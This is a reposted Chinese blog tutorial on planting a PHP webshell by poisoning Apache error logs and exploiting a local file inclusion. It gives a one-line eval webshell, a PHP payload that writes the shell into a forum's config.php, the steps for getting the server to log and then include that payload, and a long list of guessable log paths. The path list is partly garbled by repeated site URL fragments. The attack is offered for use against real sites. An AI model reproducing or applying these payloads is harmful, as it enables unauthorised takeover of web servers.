php包含apache写马

it2022-05-07  0

一句话木马<?eval($_POST[cmd]);?>  

到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen(“/home/virtual/www.xxx.com/forum/config.php”,”w+”);fputs($fp,”<?eval($_POST[cmd]);?>”);fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。转换为");fclose($fp);?>我们提交http://xxx.com/");fclose($fp);?>

这样就错误日志里就记录下了这行写入webshell的代码。我们再来包含日志,提交http://xxx.com/z.php?zizzy=/home … /logs/www-error_log

这样webshell就写入成功了,config.php里就写入一句木马语句OK.http://www.xxx.com/forum/config.php这个就成了我们的webshell直接用lanker的客户端一连,主机就是你的了。

PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径,你可以去猜,也可以参照这里。http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/log/httpd/access_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/log/httpd/error_log../apache/logs/error.log../apache/logs/access.loghttp://www.cnblogs.com/apache/logs/error.loghttp://www.cnblogs.com/apache/logs/access.loghttp://www.cnblogs.com/../apache/logs/error.loghttp://www.cnblogs.com/../apache/logs/access.loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/httpd/logs/acces_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/httpd/logs/acces.loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/httpd/logs/error_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/httpd/logs/error.loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/www/logs/access_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/www/logs/access.loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/usr/local/apache/logs/access_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/usr/local/apache/logs/access.loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/log/apache/access_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/log/apache/access.loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/log/access_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/www/logs/error_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/www/logs/error.loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/usr/local/apache/logs/error_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/usr/local/apache/logs/error.loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/log/apache/error_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/log/apache/error.loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/log/access_loghttp://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/var/log/error_log/var/log/httpd/access_log      /var/log/httpd/error_log    ../apache/logs/error.log    ../apache/logs/access.loghttp://www.cnblogs.com/apache/logs/error.loghttp://www.cnblogs.com/apache/logs/access.loghttp://www.cnblogs.com/../apache/logs/error.loghttp://www.cnblogs.com/../apache/logs/access.log/etc/httpd/logs/acces_log/etc/httpd/logs/acces.log/etc/httpd/logs/error_log/etc/httpd/logs/error.log/var/www/logs/access_log/var/www/logs/access.log/usr/local/apache/logs/access_log/usr/local/apache/logs/access.log/var/log/apache/access_log/var/log/apache/access.log/var/log/access_log/var/www/logs/error_log/var/www/logs/error.log/usr/local/apache/logs/error_log/usr/local/apache/logs/error.log/var/log/apache/error_log/var/log/apache/error.log/var/log/access_log/var/log/error_log

转载于:https://www.cnblogs.com/amwld/archive/2011/09/13/2175090.html


最新回复(0)